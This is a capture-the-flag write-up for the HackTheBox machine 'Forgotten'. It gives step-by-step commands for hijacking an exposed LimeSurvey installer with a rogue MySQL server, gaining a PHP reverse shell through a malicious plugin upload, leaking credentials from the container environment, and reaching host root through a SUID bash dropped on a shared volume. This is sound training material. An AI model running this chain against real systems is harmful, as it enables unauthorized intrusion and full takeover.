Hackthebox: Forgotten Writeup

Summary

Forgotten is a HckTheBox machine centered around an exposed LimeSurvey installer endpoint that was never properly secured post-deployment. By spinning up a rogue MySQL server, an attacker can hijack the installation process to create a fresh admin account on the target's LimeSurvey instance. From there, a known RCE vulnerability (CVE-2021-44967) in LimeSurvey's plugin upload feature grants a foothold inside a Docker container. Environment variable leakage exposes the container user's password, allowing lateral movement to the host OS via SSH. Finally, a mounted Docker volume shared between the container and the host enables a classic SUID bash privilege escalation to achieve root on the underlying system.

Reconnaissance

Port Scan

nmap -sC -sV -A <MACHINE-IP> -oA nmap

Open ports:

The HTTP root returns a 403 Forbidden. The Server header leaks Apache/2.4.56 (Debian) and the nmap host info reveals the internal Docker IP 172.17.0.2, hinting at a containerized web application.

Directory Enumeration

ffuf -u http://forgotten.vl/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Key finding:

survey    [Status: 301]

Browsing to http://forgotten.vl/survey reveals a LimeSurvey application.

Initial Access

Stage 1 - Exploiting the Exposed LimeSurvey Installer

Navigating to http://forgotten.vl/survey/index.php?r=installer/precheck showed that the LimeSurvey installer was still accessible and had not been removed after deployment — a critical misconfiguration.

Pre-installation check (Step 3) leaked the version:

LimeSurvey 6.3.7

A quick search revealed CVE-2021-44967 — an authenticated RCE via plugin upload in LimeSurvey. The catch: admin access is required. The installer gave a path to create our own admin account.

Stage 2 - Rogue MySQL Server

The installer's Step 4 (Database Configuration) asks for a database host. Since we control what host the target application connects to, we stood up our own MySQL server:

docker run -p 3306:3306 --rm --name evil-mysql \
  -e MYSQL_ROOT_PASSWORD=pass123 mysql:latest

Verified it was listening:

netstat -tanp | grep -i list
# tcp  0.0.0.0:3306  LISTEN  docker-proxy

In the installer form (Step 4 — Configuration), we provided:

Proceeding to Step 5, the installer reported "Database doesn't exist" and offered to create it — we clicked Create database, which our rogue MySQL accepted. After clicking Populate database, Step 6 (Administrator Settings) appeared, letting us set a known admin password.

Installation completed successfully with our own admin credentials.

Stage 3 - RCE via LimeSurvey Plugin Upload (CVE-2021-44967)

With admin access at http://forgotten.vl/survey/index.php/admin/authentication/sa/login, we exploited the plugin upload functionality.

Crafted a malicious plugin archive:

config.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>ExamplePlugin</name>
        <type>plugin</type>
        <author>exploitnotes</author>
        <version>1.0</version>
        <description>Example Plugin</description>
    </metadata>
    <compatibility>
        <version>6.3</version>
    </compatibility>
</config>

rev-shell.php: A standard PHP reverse shell (pentestmonkey) pointing back to <YOUR-IP>:4444.

zip evil.zip rev-shell.php config.xml

Upload steps:

1. Navigate to Configuration → Plugins → Upload & Install
2. Upload evil.zip
3. Confirm installation
4. Start a netcat listener: nc -lvnp 4444
5. Trigger the shell: curl http://forgotten.vl/survey/upload/plugins/ExamplePlugin/rev-shell.php

Shell received:

limesvc@efaa6f5097ed:/$ whoami
limesvc
limesvc@efaa6f5097ed:/$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)

Post-Exploitation

Docker Container Confirmation

The presence of /.dockerenv and the hostname efaa6f5097ed, combined with the ifconfig output showing inet 172.17.0.2, confirmed we were inside a Docker container — not the host OS directly.

Credential Discovery via Environment Variables

limesvc@efaa6f5097ed:/$ env

The environment dump revealed:

LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E

These credentials were baked into the container at build time.

Sudo Escalation Inside Container

sudo -l
# (using LIMESURVEY_PASS as password)
# User limesvc may run the following commands: (ALL : ALL) ALL

sudo -i
root@efaa6f5097ed:~#

Root inside the container — but still containerized.

Host Escape & Privilege Escalation

Volume Mount Enumeration

Inspecting mounts revealed a bind mount:

/dev/root on /var/www/html/survey type ext4 (rw,relatime...)

The container's /var/www/html/survey directory was mounted read-write from the host at /opt/limesurvey. Crucially, files written inside the container appear on the host with their original permissions — including SUID bits.

SUID Bash Binary Drop

From inside the container (as root):

cp /bin/bash /var/www/html/survey/bash
chmod +s /var/www/html/survey/bash

SSH to Host

The credentials discovered in the container's environment also worked for SSH on the host:

ssh limesvc@forgotten.vl
# Password: 5W5HN4K4GCXf9E

User flag obtained:

limesvc@forgotten:~$ cat user.txt
[REDACTED]

Root via SUID Bash

The SUID bash binary dropped through the shared volume appeared at /opt/limesurvey/bash on the host:

limesvc@forgotten:/opt/limesurvey$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
[REDACTED]

Attack Chain

Exposed LimeSurvey installer (/survey/index.php?r=installer)
        │
        ▼
Rogue MySQL server → hijack DB config step → create admin account
        │
        ▼
Authenticated as admin → CVE-2021-44967 plugin upload RCE
        │
        ▼
Shell as limesvc inside Docker container
        │
        ▼
Environment variables leak LIMESURVEY_PASS
        │
        ▼
sudo -i → root inside container
        │
        ▼
Shared volume (/var/www/html/survey ↔ /opt/limesurvey) → drop SUID bash
        │
        ▼
SSH to host as limesvc → ./bash -p → root on host

Key Vulnerabilities